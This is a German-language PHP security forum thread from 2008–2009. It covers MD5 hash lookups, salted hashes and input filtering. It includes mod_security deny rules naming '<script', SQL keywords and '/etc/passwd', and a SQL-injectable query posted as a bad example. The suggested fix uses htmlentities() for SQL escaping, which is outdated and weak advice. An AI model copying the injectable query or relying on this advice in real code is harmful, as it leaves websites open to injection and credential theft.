Wie warscheinlich ist es, dass jemand die Daten für den Server über z.B. Suchprogramme finden kann?

habe z.B. eine Datenbank, in der der komplette Inhalt der Seite ist.
Dann habe ich eine Suchfunktion, die auf die Datenbank zugreift und die ergebnisse auflistet.

Gibt es irgendwie unsichere Loginverfahren? oder ist php von haus aus sicher?


----------



## Flex (23. April 2008)

Ist PHP sicher? Nein, es gibt auch hier immer wieder Lücken.
Ist dein Skript sicher? Keine Ahnung, man kann es nicht sehen.

PHP ist ein beliebtes Angriffsziel weil es einfach zu erlernen ist, dabei man aber wichtige Dinge oft außer Augen lässt. Wie z. B. folgendes Motto:
"Filter Input, Escape Output"

Sprich: Alles was reinkommt ist böse und sollte validiert und gefiltert werden.
Alles was rausgeht, sollte sicherheitshalber nochmal maskiert werden.

Und md5 ist keine Verschlüsselung, sondern eine Hash-Funktion.


----------



## Loomis (23. April 2008)

> Ich meine, wenn man das verschlüsselte passwort hat, dann muss man doch nur einmal schnell md5 in google eingeben und entschlüsselt es schnell... ich meine, das bringt's doch nicht.



Teste es doch einfach mal.
Ich wette du schaffst es nicht


----------



## Herror (23. April 2008)

habe md5 in google eingegeben:

http://www.google.de/search?q=md5&i...&rls=org.mozilla:de:official&client=firefox-a

drittes erbegnis: MD5-Decrypter by xpzone.de

Wenn ich jetzt bei einer Übertragung den mitgesnifften Hash da eingebe, bekomme ich die eingabe, die der Benutzer getätigt hat.

das hier z.B.: 21232f297a57a5a743894a0e4a801fc3

in meinem PHP-Buch steht das "hashen" unter Sicherheit... aber was soll das bringen? da kann man das Passwort doch auch unverschlüsselt versenden


----------



## Loomis (23. April 2008)

... Ok wenn du mein DB Passwort rauskriegst, bekommst du nen Preis... das steht in der DB: 6b60cfd4b896e17cc09097a33d37e48b


----------



## Gumbo (23. April 2008)

Eine Programmiersprache selbst kann nur grundlegende Sicherheit wie etwa Typsicherheit, Geltungsbereiche bieten. Dadurch werden die damit geschriebenen Anwendungen aber noch lange nicht sicher.

PHP ist in diesem Sinne eine leider zu einfach zu lernende Sprache. Die subjektive Erfolgskurve ist steil, die objektive hingegen eher flach. Dadurch überschätzt sich so manch einer in seinen Fähigkeiten und [post=1607585]grundlegende Regeln für den Umgang mit Benutzereingaben, wie Felix sie beispielsweise nannte[/post], werden völlig außer Acht gelassen. Das Resultat davon ist millionenfach im Internet in der Form von schlechten Tutorials und Code-Schnipseln zu finden, die dennoch allzu gerne kopiert werden. Viele verstehen nicht einmal, was der kopierte Code tatsächlich tut. Es klingt fast absurd, aber selbst die einfachsten Probleme stellen für manche Programmierer eine unüberwindbare Hürde dar.



Herror hat gesagt.:


> Wenn ich jetzt bei einer Übertragung den mitgesnifften Hash da eingebe, bekomme ich die eingabe, die der Benutzer getätigt hat.
> 
> das hier z.B.: 21232f297a57a5a743894a0e4a801fc3


Ein kennwortgesichertes System ist nur so sicher wie das Kennwort selbst. Wenn du ein häufig verwendetes Kennwort wie „test“, „12345“ oder eben „admin“ verwendest, ist es kein Wunder, dass dies bereits in einer MD5-Datenbank zu finden ist. Verbesserung kann neben der Verwendung eines ungeläufigeren Kennworts übrigens auch durch so genannte Salted Hashes mit konstantem oder auch zufälligem Salt-Wert bieten.


----------



## Loomis (24. April 2008)

Guter Beitrag und gut erklärt, danke


----------



## Flex (22. Juli 2008)

Can You Hack Your Own Site? A Look At Some Essential Security Considerations


----------



## mr_floppy (27. Juli 2008)

*mod_security*

Was ist mod_security?

XSS und SQL Injection verhindern mit mod_security


apt-get update
apt-get install libapache-mod-security 

Falls das Modul noch nicht installiert ist.

*---------------------------------------------------------------------*

SecFilterSelective ARGS "<[[:space:]]*script"
SecFilterSelective ARGS "<[[:space:]]*meta"

Diese beiden Regeln filtern <script und <meta aus der URL!
<script wegen XSS und <meta wegen Umleitungen!

*---------------------------------------------------------------------*

SecFilterSelective ARGS "UNION"
SecFilterSelective ARGS "SELECT"
SecFilterSelective ARGS "INSERT"

Diese Regeln filtern SQL Befehle!

*---------------------------------------------------------------------*

SecFilterSelective ARGS "/etc/passwd"
SecFilterSelective ARGS "/bin/*"

Falls safemode off ist, werden diese Vezeichnisse geschützt!

*---------------------------------------------------------------------*

SecServerSignature "Microsoft-IIS/5.2"

Gaukelt Security Scannern einen anderen Webserver vor!
*
---------------------------------------------------------------------*

Weiteres unter: http://www.securityfocus.com/infocus/1739

edit: Das ist ein Apache Modul und hat nur indirekt etwas mit PHP zu tun.


----------



## Merbi (2. September 2008)

Ich glaube dieses Thema passt gut zu einer Fragestellung von mir.
Ich habe Heute eine E-Mail über ein Kontaktformular bekommen in der folgendes Stand:



> message: Ihr Webspace ist unsicher...
> 
> Würde ich fixen bevor es jemand der es böse meint merkt.



Jetzt weiß ich nicht was der Absender mit Fixen meint, ich habe kaum Ahnung von PHP und war Froh das ich es hinbekommen habe Inhalt und Design zu trennen und nun so ein Problem.

LG Daniel


----------



## versuch13 (2. September 2008)

Zum Thema includes steht in diesem Thema und im Forum schon etliches wie z.B.:

http://www.tutorials.de/php/301248-script-sicher.html

Und, edit: Jetzt hat Gumbo schon darauf hingewiesen.


----------



## Merbi (2. September 2008)

Ok , Danke.

Wenn ich das richtig verstanden habe ist "seite" die Variable über die ich im Menü jeweils den Inhaltwechsel machen kann. Die kann ich ja beliebig ändern.

Nun verstehe ich Sinn und Zweck von den ganzn Pfaden nicht bzw. wie ich das umändern muss wenn bei mir alles im selebn Verzeichnis liegt.

Hier nochmal der Code:


```
$error = false;
if( empty($_GET['seite']) ) {
    $_GET['seite'] = 'news/index';
}
if( strpos($_GET['seite'], '..') !== false ) {
    $error = true;
}
if( !$error && ($absPath = realpath('html/'.$_GET['seite'].'.html')) !== false ) {
    readfile($absPath);
} else if( !$error && ($absPath = realpath('php/'.$_GET['seite'].'.php')) !== false ) {
    include $absPath;
} else {
    readfile('html/error.html');
}
```


----------



## Gumbo (2. September 2008)

Dennis Wronka hat gesagt.:


> Wofuer ist dieser Thread nicht gedacht:
> 
> Fragen ob ein Script sicher ist
> Wir wollen hier eher allgemein zum Thema Sicherheit in PHP diskutieren und nicht auf spezielle Scripts eingehen. Natuerlich wollen wir hier auch Code-Beispiele sehen, aber eben nicht, dass jemand sein Script (oder einen Ausschnitt) postet und fragt ob der Code sicher ist.


Stelle deine spezifische Frage doch bitte in einem eigenen Thema.


----------



## Merbi (2. September 2008)

Ok, dachte das gibt mecker wenn schon einer vorhanden ist.


----------



## Muckel1986 (11. September 2008)

Irgendjemand_1 hat gesagt.:


> Man könnte ja auch eine speziell auf Sicherheit ausgelegte php.ini hier posten.



Gibt es die - oder eine Anleitung, was man machen sollte? Also auch für newbies?

Gruß und vielen Dank
Muckel


----------



## bofh1337 (22. Dezember 2009)

Muckel1986 hat gesagt.:


> Gibt es die - oder eine Anleitung, was man machen sollte? Also auch für newbies?
> 
> Gruß und vielen Dank
> Muckel



Alles, was irgendwie ins Scripte gelangen könnte überprüfen und vor dem schreiben in die Datenbank auf jeden fall escapen

Soetwas ist absolutes "no-go" und ein doppelter "klogriff":


```
$timer=mysql_query("SELECT ".strtolower($kampdatas2[8])." FROM zeus_".strtolower($_GET['art'])." WHERE id='$kampdatas2[2]'");
```

Richtiger wäre, wenn alle Vars (alles innerhalb des REQUEST und Uri-Übergaben) auf Deklaration und richtige Werte geprüft sind und einen Default-Wert bekommen, sobald sie leer sind:


```
$art = (isset($_GET['art']) && !empty($_GET['art']) ? htmlentities($_GET['art']) : '');
```

Wenn du Daten aus einer Datenbank holst (mysql_fetch_array), dann sei nicht so dumm (wie der "Programmierer" der obenstehenden Query) und nutze die Positionen innerhalb des Arrays, sondern die Namen der Keys....das ist erst mal übersichtlicher und du musst nicht dein gesamtes Script fixen, sobald 1 Tabelle innerhalb der Datenbank erweitert willst 

Zu der obenstehenden Sql-Query fällt mir nichts mehr ein (Gänsehaut eben)


----------

